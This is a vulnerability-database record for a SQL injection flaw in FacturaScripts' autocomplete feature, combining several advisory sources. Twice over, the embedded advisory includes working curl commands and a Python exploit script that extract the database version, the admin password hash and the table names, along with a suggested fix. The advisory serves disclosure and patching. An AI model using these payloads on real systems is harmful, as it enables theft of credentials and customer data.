{"id":"CVE-2026-25514","aliases":["EUVD-2026-5360","GHSA-pqqg-5f4f-8952"],"status":"published","title":"FacturaScripts has SQL Injection vulnerability in Autocomplete Actions","description":"FacturaScripts is open-source enterprise resource planning and accounting software. Prior to version 2025.81, FacturaScripts contains a critical SQL injection vulnerability in the autocomplete functionality that allows authenticated attackers to extract sensitive data from the database including user credentials, configuration settings, and all stored business data. The vulnerability exists in the CodeModel::all() method where user-supplied parameters are directly concatenated into SQL queries without sanitization or parameterized binding. This issue has been patched in version 2025.81.","severity":{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00524,"percentile":0.44946,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":true,"fix_available":true},"cwes":["CWE-20","CWE-89","CWE-943"],"published":"2026-02-03T18:17:24Z","modified":"2026-10-28T02:31:07Z","exploits":[{"source":"pocgithub","id":"lukasz-rybak/CVE-2026-25514","title":"lukasz-rybak/CVE-2026-25514","date":"2026-04-11","url":"https://github.com/lukasz-rybak/CVE-2026-25514"}],"fixes":[{"ecosystem":"Packagist","package":"facturascripts/facturascripts","fixed_in":["2025.81"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Packagist","package":"facturascripts/facturascripts","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2025.81"}]}]},{"source":"osv","ecosystem":"Packagist","package":"facturascripts/facturascripts","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2025.81"}]}],"versions":["2018.03","2018.04","2018.05","2018.11","v2018.12","v2018.13","v2018.14","v2018.15","v2018.16","v2020.01","v2020.2","v2020.3","v2020.4","v2020.51","v2020.61","v2020.71","v2020.80","v2021","v2021.1","v2021.2","v2021.4","v2021.51","v2021.71","v2021.81","v2022.06","v2022.08","v2022.2","v2022.4","v2022.51","v2023.03","v2023.08","v2023.16","v2023.21","v2024","v2024.1","v2024.2","v2024.3","v2024.5","v2024.7","v2024.8","v2024.9","v2024.91","v2024.93","v2024.94","v2024.95","v2024.96","v2025","v2025.11","v2025.2","v2025.3","v2025.4","v2025.41","v2025.43","v2025.7","v2025.71","v2025.8"]}],"products":[{"vendor":"facturascripts","product":"facturascripts"},{"vendor":"neorazorx","product":"facturascripts"}],"references":[{"url":"https://github.com/NeoRazorX/facturascripts/security/advisories/GHSA-pqqg-5f4f-8952","tags":["x_refsource_CONFIRM","Exploit","Mitigation","Vendor Advisory","advisory","web"]},{"url":"https://github.com/NeoRazorX/facturascripts/commit/5c070f82665b98efd2f914a4769c6dc9415f5b0f","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25514","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-pqqg-5f4f-8952"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/25xxx/CVE-2026-25514.json","tags":["advisory"]},{"url":"https://github.com/NeoRazorX/facturascripts","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-25514","title":"FacturaScripts has SQL Injection vulnerability in Autocomplete Actions","description":"FacturaScripts is open-source enterprise resource planning and accounting software. Prior to version 2025.81, FacturaScripts contains a critical SQL injection vulnerability in the autocomplete functionality that allows authenticated attackers to extract sensitive data from the database including user credentials, configuration settings, and all stored business data. The vulnerability exists in the CodeModel::all() method where user-supplied parameters are directly concatenated into SQL queries without sanitization or parameterized binding. This issue has been patched in version 2025.81.","status":"published","published":"2026-02-04T19:59:54.847Z","modified":"2026-02-05T14:32:26.569Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high","assessor":"cna"}],"cwes":["CWE-20","CWE-89","CWE-943"],"updated_at":"2026-11-02T13:41:30.911526Z"}],"euvd":[{"id":"EUVD-2026-5360","description":"FacturaScripts is open-source enterprise resource planning and accounting software. Prior to version 2025.81, FacturaScripts contains a critical SQL injection vulnerability in the autocomplete functionality that allows authenticated attackers to extract sensitive data from the database including user credentials, configuration settings, and all stored business data. The vulnerability exists in the CodeModel::all() method where user-supplied parameters are directly concatenated into SQL queries without sanitization or parameterized binding. This issue has been patched in version 2025.81.","status":"published","published":"2026-02-04T19:59:54Z","modified":"2026-02-05T14:32:26Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T19:48:43.720683Z"}],"ghsa":[{"id":"GHSA-pqqg-5f4f-8952","title":"FacturaScripts has SQL Injection in Autocomplete Actions","description":"### Summary\n**FacturaScripts contains a critical SQL Injection vulnerability in the autocomplete functionality** that allows authenticated attackers to extract sensitive data from the database including user credentials, configuration settings, and all stored business data. The vulnerability exists in the `CodeModel::all()` method where user-supplied parameters are directly concatenated into SQL queries without sanitization or parameterized binding.\n\n---\n\n### Details\n\nMultiple controllers in FacturaScripts, including `CopyModel`, `ListController`, and `PanelController`, implement an autocomplete action that processes user input through the `CodeModel::search()` or `CodeModel::all()` methods. These methods construct SQL queries by directly concatenating user-controlled parameters without any validation or escaping.\n\n#### Vulnerable Code Location\n\n**File:** `/Core/Model/CodeModel.php`\n**Method:** `all()`\n**Lines:** 108-109\n\n```php\npublic static function all(string $tableName, string $fieldCode, string $fieldDescription, bool $addEmpty = true, array $where = []): array\n{\n    // ......\n\n    // VULNERABLE CODE:\n    $sql = 'SELECT DISTINCT ' . $fieldCode . ' AS code, ' . $fieldDescription . ' AS description '\n        . 'FROM ' . $tableName . Where::multiSqlLegacy($where) . ' ORDER BY 2 ASC';\n    foreach (self::db()-\u003eselectLimit($sql, self::getLimit()) as $row) {\n        $result[] = new static($row);\n    }\n\n    return $result;\n}\n```\n\n#### Vulnerable Parameters\n\nThe following parameters are vulnerable to SQL Injection:\n\n1. **`source`** → Maps to `$tableName` - Table name injection\n2. **`fieldcode`** → Maps to `$fieldCode` - Column name injection\n3. **`fieldtitle`** → Maps to `$fieldDescription` - Column name injection (Primary attack vector)\n\n#### Attack Flow\n\n1. Attacker authenticates with valid credentials (any user role)\n2. Attacker sends POST request to `/CopyModel` with `action=autocomplete`\n3. Malicious SQL functions/queries are injected via the `fieldtitle` parameter\n4. Application executes the injected SQL and returns results in JSON format\n5. Attacker extracts sensitive data from the database\n\n---\n\n### Proof of Concept (PoC)\n\n#### Prerequisites\n- Valid authentication credentials (admin/admin in test instance)\n- Access to FacturaScripts web interface\n\n#### Step-by-Step Manual Exploitation (CLI)\n\nSince FacturaScripts uses `MultiRequestProtection`, a valid `multireqtoken` is required for every POST request.\n\n**1. Obtain initial token and session cookie:**\nFacturaScripts redirects `/` to `/login`, so we use `-L` to follow redirects and `-c` to save the session cookie.\n```bash\nTOKEN=$(curl -s -L -c cookies.txt \"http://localhost:8091/login\" | grep -Po 'name=\"multireqtoken\" value=\"\\K[^\"]+')\necho $TOKEN\n```\n\n**2. Authenticate (Login):**\nUse the saved cookie and the token to log in.\n```bash\ncurl -s -b cookies.txt -c cookies.txt -X POST \"http://localhost:8091/login\" \\\n  -d \"fsNick=admin\" \\\n  -d \"fsPassword=admin\" \\\n  -d \"action=login\" \\\n  -d \"multireqtoken=$TOKEN\"\n```\n\n**3. Extract Database Version:**\nObtain a fresh token for the next request and execute the injection.\n```bash\n# Get fresh token\nTOKEN=$(curl -s -b cookies.txt \"http://localhost:8091/CopyModel\" | grep -Po 'name=\"multireqtoken\" value=\"\\K[^\"]+')\n\n# Execute SQLi\ncurl -s -b cookies.txt \"http://localhost:8091/CopyModel\" \\\n  -d \"action=autocomplete\" \\\n  -d \"source=users\" \\\n  -d \"fieldcode=nick\" \\\n  -d \"fieldtitle=version()\" \\\n  -d \"term=admin\" \\\n  -d \"multireqtoken=$TOKEN\"\n```\n\n**4. Extract Database User and Name:**\n```bash\n# Get fresh token\nTOKEN=$(curl -s -b cookies.txt \"http://localhost:8091/CopyModel\" | grep -Po 'name=\"multireqtoken\" value=\"\\K[^\"]+')\n\n# Execute SQLi\ncurl -s -b cookies.txt \"http://localhost:8091/CopyModel\" \\\n  -d \"action=autocomplete\" \\\n  -d \"source=users\" \\\n  -d \"fieldcode=nick\" \\\n  -d \"fieldtitle=concat(user(),' @ ',database())\" \\\n  -d \"term=admin\" \\\n  -d \"multireqtoken=$TOKEN\"\n```\n\n**5. Extract Admin Password Hash:**\n```bash\n# Get fresh token\nTOKEN=$(curl -s -b cookies.txt \"http://localhost:8091/CopyModel\" | grep -Po 'name=\"multireqtoken\" value=\"\\K[^\"]+')\n\n# Execute SQLi\ncurl -s -b cookies.txt \"http://localhost:8091/CopyModel\" \\\n  -d \"action=autocomplete\" \\\n  -d \"source=users\" \\\n  -d \"fieldcode=nick\" \\\n  -d \"fieldtitle=password\" \\\n  -d \"term=admin\" \\\n  -d \"multireqtoken=$TOKEN\"\n```\n\n#### Automated Exploitation Script\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nFacturaScripts SQL Injection Exploit - Autocomplete\nAuthor: Łukasz Rybak\n\"\"\"\n\nimport requests\nimport re\nimport json\n\n# Configuration\nBASE_URL = \"http://localhost:8091\"\nUSERNAME = \"admin\"\nPASSWORD = \"admin\"\n\nsession = requests.Session()\n\ndef get_csrf_token(url):\n    \"\"\"Extract CSRF token from page\"\"\"\n    response = session.get(url)\n    match = re.search(r'name=\"multireqtoken\" value=\"([^\"]+)\"', response.text)\n    return match.group(1) if match else None\n\ndef login():\n    \"\"\"Authenticate to FacturaScripts\"\"\"\n    print(f\"[*] Logging in as {USERNAME}...\")\n    token = get_csrf_token(f\"{BASE_URL}/login\")\n    if not token:\n        print(\"[!] Failed to get CSRF token\")\n        exit()\n\n    data = {\n        \"multireqtoken\": token,\n        \"action\": \"login\",\n        \"fsNick\": USERNAME,\n        \"fsPassword\": PASSWORD\n    }\n    response = session.post(f\"{BASE_URL}/login\", data=data)\n\n    if \"Dashboard\" not in response.text:\n        print(\"[!] Login failed!\")\n        exit()\n    print(\"[+] Successfully logged in.\")\n\ndef exploit_sqli(field_payload, term=\"admin\", source=\"users\", field_code=\"nick\"):\n    \"\"\"Execute SQL injection through autocomplete\"\"\"\n    data = {\n        \"action\": \"autocomplete\",\n        \"source\": source,\n        \"fieldcode\": field_code,\n        \"fieldtitle\": field_payload,\n        \"term\": term\n    }\n    response = session.post(f\"{BASE_URL}/CopyModel\", data=data)\n    try:\n        return response.json()\n    except:\n        return None\n\ndef main():\n    login()\n\n    print(\"\\n\" + \"=\"*60)\n    print(\" EXPLOITING SQL INJECTION IN AUTOCOMPLETE \")\n    print(\"=\"*60 + \"\\n\")\n\n    # 1. Database version\n    print(\"[*] Extracting database version...\")\n    res = exploit_sqli(\"version()\")\n    if res:\n        print(f\"[+] Database Version: {res[0]['value']}\")\n\n    # 2. Current user and database\n    print(\"[*] Extracting DB user and database name...\")\n    res = exploit_sqli(\"concat(user(),' @ ',database())\")\n    if res:\n        print(f\"[+] DB User @ Database: {res[0]['value']}\")\n\n    # 3. Admin password hash\n    print(\"[*] Extracting admin password hash...\")\n    res = exploit_sqli(\"password\", term=\"admin\")\n    if res:\n        print(f\"[+] Admin Password Hash: {res[0]['value']}\")\n\n    # 4. All table names\n    print(\"[*] Extracting table names...\")\n    res = exploit_sqli(\"(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database())\")\n    if res:\n        print(f\"[+] Tables: {res[0]['value']}\")\n\n    print(\"\\n[+] Exploitation complete!\")\n\nif __name__ == \"__main__\":\n    main()\n```\n\u003cimg width=\"2524\" height=\"410\" alt=\"image\" src=\"https://github.com/user-attachments/assets/19178918-0b83-4b94-a41d-38f33b034f5d\" /\u003e\n\n---\n\n### Impact\n\nThis SQL injection vulnerability has **CRITICAL** impact:\n\n#### Data Confidentiality\n- **Complete database disclosure** - Attacker can extract all data including:\n  - User credentials (password hashes)\n  - Customer information (names, addresses, tax IDs, etc.)\n  - Financial records (invoices, payments, bank details)\n  - Business logic and configuration data\n  - Plugin and system settings\n\n#### Who is Impacted?\n- **All FacturaScripts installations** running vulnerable versions\n- **All authenticated users** can exploit (not just admins)\n- **Businesses using FacturaScripts** for accounting/invoicing\n- **Customers whose data is stored** in the system\n\n---\n\n### Recommended Fix\n\n#### Immediate Remediation\n\n**Option 1: Use Prepared Statements**\n\n```php\n// File: Core/Model/CodeModel.php\n// Method: all()\n\npublic static function all(string $tableName, string $fieldCode, string $fieldDescription, bool $addEmpty = true, array $where = []): array\n{\n    // ... validation code ...\n\n    // Validate and escape identifiers\n    $safeTableName = self::db()-\u003eescapeColumn($tableName);\n    $safeFieldCode = self::db()-\u003eescapeColumn($fieldCode);\n    $safeFieldDescription = self::db()-\u003eescapeColumn($fieldDescription);\n\n    // Use parameterized query\n    $sql = 'SELECT DISTINCT ' . $safeFieldCode . ' AS code, ' . $safeFieldDescription . ' AS description '\n        . 'FROM ' . $safeTableName . Where::multiSqlLegacy($where) . ' ORDER BY 2 ASC';\n\n    foreach (self::db()-\u003eselectLimit($sql, self::getLimit()) as $row) {\n        $result[] = new static($row);\n    }\n\n    return $result;\n}\n```\n### Credits\n\n**Discovered by:** Łukasz Rybak","status":"published","published":"2026-02-03T18:17:24Z","modified":"2026-02-04T21:57:26Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-20","CWE-89","CWE-943"],"updated_at":"2026-11-02T14:39:22.637668Z"}],"nvd":[{"id":"CVE-2026-25514","description":"FacturaScripts is open-source enterprise resource planning and accounting software. Prior to version 2025.81, FacturaScripts contains a critical SQL injection vulnerability in the autocomplete functionality that allows authenticated attackers to extract sensitive data from the database including user credentials, configuration settings, and all stored business data. The vulnerability exists in the CodeModel::all() method where user-supplied parameters are directly concatenated into SQL queries without sanitization or parameterized binding. This issue has been patched in version 2025.81.","status":"published","published":"2026-02-04T20:16:08.113Z","modified":"2026-06-17T10:24:46.397Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"},{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"primary"}],"cwes":["CWE-20","CWE-89","CWE-943"],"updated_at":"2026-11-02T14:12:05.149641Z"}],"osv":[{"id":"CVE-2026-25514","title":"FacturaScripts has SQL Injection vulnerability in Autocomplete Actions","description":"FacturaScripts is open-source enterprise resource planning and accounting software. Prior to version 2025.81, FacturaScripts contains a critical SQL injection vulnerability in the autocomplete functionality that allows authenticated attackers to extract sensitive data from the database including user credentials, configuration settings, and all stored business data. The vulnerability exists in the CodeModel::all() method where user-supplied parameters are directly concatenated into SQL queries without sanitization or parameterized binding. This issue has been patched in version 2025.81.","status":"published","published":"2026-02-04T19:59:54.847Z","modified":"2026-10-28T02:31:07.470254382Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-20","CWE-89","CWE-943"],"updated_at":"2026-11-02T15:44:59.438965Z"},{"id":"GHSA-pqqg-5f4f-8952","title":"FacturaScripts has SQL Injection in Autocomplete Actions","description":"### Summary\n**FacturaScripts contains a critical SQL Injection vulnerability in the autocomplete functionality** that allows authenticated attackers to extract sensitive data from the database including user credentials, configuration settings, and all stored business data. The vulnerability exists in the `CodeModel::all()` method where user-supplied parameters are directly concatenated into SQL queries without sanitization or parameterized binding.\n\n---\n\n### Details\n\nMultiple controllers in FacturaScripts, including `CopyModel`, `ListController`, and `PanelController`, implement an autocomplete action that processes user input through the `CodeModel::search()` or `CodeModel::all()` methods. These methods construct SQL queries by directly concatenating user-controlled parameters without any validation or escaping.\n\n#### Vulnerable Code Location\n\n**File:** `/Core/Model/CodeModel.php`\n**Method:** `all()`\n**Lines:** 108-109\n\n```php\npublic static function all(string $tableName, string $fieldCode, string $fieldDescription, bool $addEmpty = true, array $where = []): array\n{\n    // ......\n\n    // VULNERABLE CODE:\n    $sql = 'SELECT DISTINCT ' . $fieldCode . ' AS code, ' . $fieldDescription . ' AS description '\n        . 'FROM ' . $tableName . Where::multiSqlLegacy($where) . ' ORDER BY 2 ASC';\n    foreach (self::db()-\u003eselectLimit($sql, self::getLimit()) as $row) {\n        $result[] = new static($row);\n    }\n\n    return $result;\n}\n```\n\n#### Vulnerable Parameters\n\nThe following parameters are vulnerable to SQL Injection:\n\n1. **`source`** → Maps to `$tableName` - Table name injection\n2. **`fieldcode`** → Maps to `$fieldCode` - Column name injection\n3. **`fieldtitle`** → Maps to `$fieldDescription` - Column name injection (Primary attack vector)\n\n#### Attack Flow\n\n1. Attacker authenticates with valid credentials (any user role)\n2. Attacker sends POST request to `/CopyModel` with `action=autocomplete`\n3. Malicious SQL functions/queries are injected via the `fieldtitle` parameter\n4. Application executes the injected SQL and returns results in JSON format\n5. Attacker extracts sensitive data from the database\n\n---\n\n### Proof of Concept (PoC)\n\n#### Prerequisites\n- Valid authentication credentials (admin/admin in test instance)\n- Access to FacturaScripts web interface\n\n#### Step-by-Step Manual Exploitation (CLI)\n\nSince FacturaScripts uses `MultiRequestProtection`, a valid `multireqtoken` is required for every POST request.\n\n**1. Obtain initial token and session cookie:**\nFacturaScripts redirects `/` to `/login`, so we use `-L` to follow redirects and `-c` to save the session cookie.\n```bash\nTOKEN=$(curl -s -L -c cookies.txt \"http://localhost:8091/login\" | grep -Po 'name=\"multireqtoken\" value=\"\\K[^\"]+')\necho $TOKEN\n```\n\n**2. Authenticate (Login):**\nUse the saved cookie and the token to log in.\n```bash\ncurl -s -b cookies.txt -c cookies.txt -X POST \"http://localhost:8091/login\" \\\n  -d \"fsNick=admin\" \\\n  -d \"fsPassword=admin\" \\\n  -d \"action=login\" \\\n  -d \"multireqtoken=$TOKEN\"\n```\n\n**3. Extract Database Version:**\nObtain a fresh token for the next request and execute the injection.\n```bash\n# Get fresh token\nTOKEN=$(curl -s -b cookies.txt \"http://localhost:8091/CopyModel\" | grep -Po 'name=\"multireqtoken\" value=\"\\K[^\"]+')\n\n# Execute SQLi\ncurl -s -b cookies.txt \"http://localhost:8091/CopyModel\" \\\n  -d \"action=autocomplete\" \\\n  -d \"source=users\" \\\n  -d \"fieldcode=nick\" \\\n  -d \"fieldtitle=version()\" \\\n  -d \"term=admin\" \\\n  -d \"multireqtoken=$TOKEN\"\n```\n\n**4. Extract Database User and Name:**\n```bash\n# Get fresh token\nTOKEN=$(curl -s -b cookies.txt \"http://localhost:8091/CopyModel\" | grep -Po 'name=\"multireqtoken\" value=\"\\K[^\"]+')\n\n# Execute SQLi\ncurl -s -b cookies.txt \"http://localhost:8091/CopyModel\" \\\n  -d \"action=autocomplete\" \\\n  -d \"source=users\" \\\n  -d \"fieldcode=nick\" \\\n  -d \"fieldtitle=concat(user(),' @ ',database())\" \\\n  -d \"term=admin\" \\\n  -d \"multireqtoken=$TOKEN\"\n```\n\n**5. Extract Admin Password Hash:**\n```bash\n# Get fresh token\nTOKEN=$(curl -s -b cookies.txt \"http://localhost:8091/CopyModel\" | grep -Po 'name=\"multireqtoken\" value=\"\\K[^\"]+')\n\n# Execute SQLi\ncurl -s -b cookies.txt \"http://localhost:8091/CopyModel\" \\\n  -d \"action=autocomplete\" \\\n  -d \"source=users\" \\\n  -d \"fieldcode=nick\" \\\n  -d \"fieldtitle=password\" \\\n  -d \"term=admin\" \\\n  -d \"multireqtoken=$TOKEN\"\n```\n\n#### Automated Exploitation Script\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nFacturaScripts SQL Injection Exploit - Autocomplete\nAuthor: Łukasz Rybak\n\"\"\"\n\nimport requests\nimport re\nimport json\n\n# Configuration\nBASE_URL = \"http://localhost:8091\"\nUSERNAME = \"admin\"\nPASSWORD = \"admin\"\n\nsession = requests.Session()\n\ndef get_csrf_token(url):\n    \"\"\"Extract CSRF token from page\"\"\"\n    response = session.get(url)\n    match = re.search(r'name=\"multireqtoken\" value=\"([^\"]+)\"', response.text)\n    return match.group(1) if match else None\n\ndef login():\n    \"\"\"Authenticate to FacturaScripts\"\"\"\n    print(f\"[*] Logging in as {USERNAME}...\")\n    token = get_csrf_token(f\"{BASE_URL}/login\")\n    if not token:\n        print(\"[!] Failed to get CSRF token\")\n        exit()\n\n    data = {\n        \"multireqtoken\": token,\n        \"action\": \"login\",\n        \"fsNick\": USERNAME,\n        \"fsPassword\": PASSWORD\n    }\n    response = session.post(f\"{BASE_URL}/login\", data=data)\n\n    if \"Dashboard\" not in response.text:\n        print(\"[!] Login failed!\")\n        exit()\n    print(\"[+] Successfully logged in.\")\n\ndef exploit_sqli(field_payload, term=\"admin\", source=\"users\", field_code=\"nick\"):\n    \"\"\"Execute SQL injection through autocomplete\"\"\"\n    data = {\n        \"action\": \"autocomplete\",\n        \"source\": source,\n        \"fieldcode\": field_code,\n        \"fieldtitle\": field_payload,\n        \"term\": term\n    }\n    response = session.post(f\"{BASE_URL}/CopyModel\", data=data)\n    try:\n        return response.json()\n    except:\n        return None\n\ndef main():\n    login()\n\n    print(\"\\n\" + \"=\"*60)\n    print(\" EXPLOITING SQL INJECTION IN AUTOCOMPLETE \")\n    print(\"=\"*60 + \"\\n\")\n\n    # 1. Database version\n    print(\"[*] Extracting database version...\")\n    res = exploit_sqli(\"version()\")\n    if res:\n        print(f\"[+] Database Version: {res[0]['value']}\")\n\n    # 2. Current user and database\n    print(\"[*] Extracting DB user and database name...\")\n    res = exploit_sqli(\"concat(user(),' @ ',database())\")\n    if res:\n        print(f\"[+] DB User @ Database: {res[0]['value']}\")\n\n    # 3. Admin password hash\n    print(\"[*] Extracting admin password hash...\")\n    res = exploit_sqli(\"password\", term=\"admin\")\n    if res:\n        print(f\"[+] Admin Password Hash: {res[0]['value']}\")\n\n    # 4. All table names\n    print(\"[*] Extracting table names...\")\n    res = exploit_sqli(\"(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database())\")\n    if res:\n        print(f\"[+] Tables: {res[0]['value']}\")\n\n    print(\"\\n[+] Exploitation complete!\")\n\nif __name__ == \"__main__\":\n    main()\n```\n\u003cimg width=\"2524\" height=\"410\" alt=\"image\" src=\"https://github.com/user-attachments/assets/19178918-0b83-4b94-a41d-38f33b034f5d\" /\u003e\n\n---\n\n### Impact\n\nThis SQL injection vulnerability has **CRITICAL** impact:\n\n#### Data Confidentiality\n- **Complete database disclosure** - Attacker can extract all data including:\n  - User credentials (password hashes)\n  - Customer information (names, addresses, tax IDs, etc.)\n  - Financial records (invoices, payments, bank details)\n  - Business logic and configuration data\n  - Plugin and system settings\n\n#### Who is Impacted?\n- **All FacturaScripts installations** running vulnerable versions\n- **All authenticated users** can exploit (not just admins)\n- **Businesses using FacturaScripts** for accounting/invoicing\n- **Customers whose data is stored** in the system\n\n---\n\n### Recommended Fix\n\n#### Immediate Remediation\n\n**Option 1: Use Prepared Statements**\n\n```php\n// File: Core/Model/CodeModel.php\n// Method: all()\n\npublic static function all(string $tableName, string $fieldCode, string $fieldDescription, bool $addEmpty = true, array $where = []): array\n{\n    // ... validation code ...\n\n    // Validate and escape identifiers\n    $safeTableName = self::db()-\u003eescapeColumn($tableName);\n    $safeFieldCode = self::db()-\u003eescapeColumn($fieldCode);\n    $safeFieldDescription = self::db()-\u003eescapeColumn($fieldDescription);\n\n    // Use parameterized query\n    $sql = 'SELECT DISTINCT ' . $safeFieldCode . ' AS code, ' . $safeFieldDescription . ' AS description '\n        . 'FROM ' . $safeTableName . Where::multiSqlLegacy($where) . ' ORDER BY 2 ASC';\n\n    foreach (self::db()-\u003eselectLimit($sql, self::getLimit()) as $row) {\n        $result[] = new static($row);\n    }\n\n    return $result;\n}\n```\n### Credits\n\n**Discovered by:** Łukasz Rybak","status":"published","published":"2026-02-03T18:17:24Z","modified":"2026-02-04T22:03:40.296308Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-20","CWE-89","CWE-943"],"updated_at":"2026-11-02T15:46:53.700556Z"}]}}
